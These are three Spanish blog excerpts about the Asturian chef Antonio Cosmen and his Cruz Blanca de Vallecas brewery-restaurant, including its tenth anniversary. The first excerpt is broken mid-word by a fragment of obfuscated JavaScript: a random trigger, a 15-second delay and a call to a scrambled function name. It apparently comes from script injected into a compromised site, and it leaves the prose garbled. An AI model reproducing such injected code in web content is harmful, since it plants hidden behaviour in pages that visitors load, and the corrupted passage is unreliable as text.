Antonio Cosmen: Imparable

Por todos es conocido el buen hacer del Chef asturiano Antonio Cosmen en su cocina. Hasta hace nada, llevaba una carrera progresiva que, en los últimos meses, se ha visto disparada por una gran cantidad de reconocimientos profesionales. De ahí que el titular no pueda ser otro. Hace años, cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando le conocí, […]

Crónica de un Décimo Aniversario en Vallecas (2005-2015)

Hace diez años se abrían las puertas de La Cruz Blanca de Vallecas. Era un experimentado Chef quien tomaba la iniciativa tras años de trabajo en otros locales de hostelería: Antonio Cosmen. El asturiano ha cumplido este mes 10 años en Vallecas, un local de sobra conocido por su afamada terraza y por la afluencia de […]

Cruz Blanca de Vallecas

La Cervecería Cruz Blanca Vallecas abrió sus puertas el año 2005 para ser en este momento uno de los mejores restaurantes de cocina tradicional española.Decorada con clásicos murales de cerámica donde se representa la elaboración de la cerveza Cruzcampo e inspirada en las antiguas cervecerías de la cadena Cruz Blanca de principios del siglo XX. […]